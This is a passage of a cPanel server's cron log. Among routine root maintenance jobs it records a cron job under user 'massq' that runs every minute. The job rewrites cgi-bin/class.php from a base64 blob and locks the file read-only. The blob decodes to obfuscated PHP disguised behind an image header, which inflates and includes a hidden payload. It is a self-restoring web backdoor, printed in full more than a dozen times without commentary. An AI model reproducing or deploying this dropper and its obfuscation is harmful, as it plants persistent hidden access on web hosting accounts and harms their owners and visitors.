YO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:31:01 server CROND[23394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:31:01 server CROND[23395]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:32:01 server CROND[23764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:32:01 server CROND[23765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:32:01 server CROND[23766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:33:01 server CROND[24151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:33:01 server CROND[24152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:33:01 server CROND[24150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:34:01 server CROND[24616]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:34:01 server CROND[24617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:34:01 server CROND[24618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:35:01 server CROND[25108]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:35:01 server CROND[25110]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 12:35:01 server CROND[25113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:35:01 server CROND[25115]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:35:01 server CROND[25116]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 12:35:01 server CROND[25114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:35:01 server CROND[25119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:35:01 server CROND[25118]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:35:01 server CROND[25111]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:36:01 server CROND[25958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:36:01 server CROND[25959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:36:01 server CROND[25960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:37:01 server CROND[26335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:37:01 server CROND[26336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:37:01 server CROND[26337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:38:01 server CROND[26705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:38:01 server CROND[26706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:38:01 server CROND[26704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:39:01 server CROND[27173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:39:01 server CROND[27175]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 12:39:01 server CROND[27176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:39:01 server CROND[27174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:40:01 server CROND[27563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:40:01 server CROND[27565]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 12:40:01 server CROND[27566]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 12:40:01 server CROND[27568]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 12:40:01 server CROND[27571]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 12:40:01 server CROND[27572]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 12:40:01 server CROND[27567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:40:01 server CROND[27569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:41:01 server CROND[28404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:41:01 server CROND[28405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:41:01 server CROND[28406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:42:01 server CROND[28985]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 12:42:01 server CROND[28986]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 12:42:01 server CROND[28987]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 12:42:01 server CROND[28988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:43:01 server CROND[29376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 12:43:01 server CROND[29377]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
